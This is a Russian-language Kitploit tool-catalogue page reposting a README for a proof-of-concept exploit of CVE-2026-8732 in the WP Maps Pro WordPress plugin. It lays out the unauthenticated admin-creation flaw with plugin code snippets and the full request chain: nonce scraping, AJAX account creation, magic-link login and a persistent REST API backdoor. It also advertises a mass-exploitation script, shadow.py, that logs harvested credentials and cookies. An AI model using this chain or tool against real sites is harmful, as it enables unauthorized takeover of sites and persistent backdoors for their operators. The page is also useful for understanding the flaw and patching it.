Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - Неавторизованное повышение привилегий через создание учетной записи администратора | Kitploit
Инструменты/GitHubGitHub/xshadow-here/cve-2026-8732
Повышение привилегийАтаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - Неавторизованное повышение привилегий через создание учетной записи администратора

Репозиторий
112 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ Неаутентифицированное повышение привилегий через создание учётной записи администратора ♡
=== shadow ♡ & friska ===


📋 Информация об уязвимости

ПолеДетали
CVE IDCVE-2026-8732
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ТипОтсутствие аутентификации для критической функции
ПлагинWP Maps Pro (wp-google-map-gold)
ЗатронутоВсе версии ≤ 6.1.0
Исправлено6.1.1
Опубликовано28 мая 2026
ИсследовательDavid Brown
PoCShadow & Friska 😈

🔍 Описание

Плагин WP Maps Pro для WordPress уязвим к неаутентифицированному повышению привилегий через создание учётной записи администратора.

AJAX-действие wpgmp_temp_access_ajax зарегистрировано с помощью wp_ajax_nopriv_ и защищено только проверкой nonce с использованием nonce fc-call-nonce, который публично встраивается на каждую страницу фронтенда через wp_localize_script как поле nonce JavaScript-объекта wpgmp_local.

Это делает проверку nonce полностью неэффективной в качестве механизма контроля доступа, позволяя неаутентифицированным атакующим:

  1. Извлечь nonce с любой публичной страницы
  2. Вызвать обработчик wpgmp_temp_access_support с параметром check_temp=false
  3. Запустить безусловное создание новой учётной записи Администратора WordPress
  4. Получить магическую ссылку для входа, которая вызывает wp_set_auth_cookie() — предоставляя полный доступ администратора
  5. Создать постоянную бэкдор-учётную запись

Результат: Полный захват сайта без какой-либо предварительной аутентификации.


🧬 Анализ первопричины

1. Хук зарегистрирован внутри блока is_admin() — но is_admin() всегда возвращает true для AJAX

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE для всех запросов admin-ajax.php!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = неаутентифицированный!
}

2. Nonce раскрыт на каждой странице фронтенда

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← УТЕЧКА в публичный HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

Любой посетитель может прочитать nonce из исходного кода страницы. Nonce WordPress — это CSRF-токены, а не токены аутентификации.

3. Отсутствие проверки прав в AJAX-обработчике

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← обходится через публичный nonce
    // НЕТ проверки current_user_can()!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. Безусловное создание учётной записи администратора

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // случайное имя пользователя
    $email    = '[email protected]';       // жёстко заданный email
    $role     = 'administrator';                 // жёстко заданная роль ← ПЕРВОПРИЧИНА

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← магическая ссылка возвращается атакующему!
    }
}

5. Магический вход через хук init — без срока действия и одноразового использования

root@kitploit:~
// Подключено к init — выполняется при КАЖДОМ запросе, аутентификация не требуется
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Внутри get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← СЕССИЯ УСТАНОВЛЕНА КАК АДМИНИСТРАТОР
wp_safe_redirect( admin_url() );            // ← ПЕРЕНАПРАВЛЕНИЕ НА ПАНЕЛЬ УПРАВЛЕНИЯ

⚔️ Цепочка атаки

root@kitploit:~
[Неаутентифицированный атакующий]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() выполнен
   ← 302 → /wp-admin/
         │
         ▼
   [Полный доступ администратора] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Постоянный бэкдор создан] 😈

🛠️ Инструменты

shadow.py — Полная цепочка эксплуатации

Одиночная цель или массовая эксплуатация.

root@kitploit:~
# Интерактивный режим
python3 shadow.py

# Одиночная цель
python3 shadow.py -u https://target.com

# Массовая эксплуатация
python3 shadow.py -f targets.txt -t 20

Фазы эксплуатации:

root@kitploit:~
Phase 1  ▶  Обнаружение плагина и функционала
Phase 2  ▶  Сканирование nonce (параллельный краулер)
Phase 3  ▶  Создание администратора через AJAX
Phase 4  ▶  Магический вход (wp_set_auth_cookie)
Phase 5  ▶  Постоянный бэкдор (REST API)

Вывод (pwned.txt):

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 Меры по устранению

Обновите WP Maps Pro до версии 6.1.1 или новее.


[shadow ♡ friska] — только для образовательных целей и авторизованных исследований безопасности

Скачать инструмент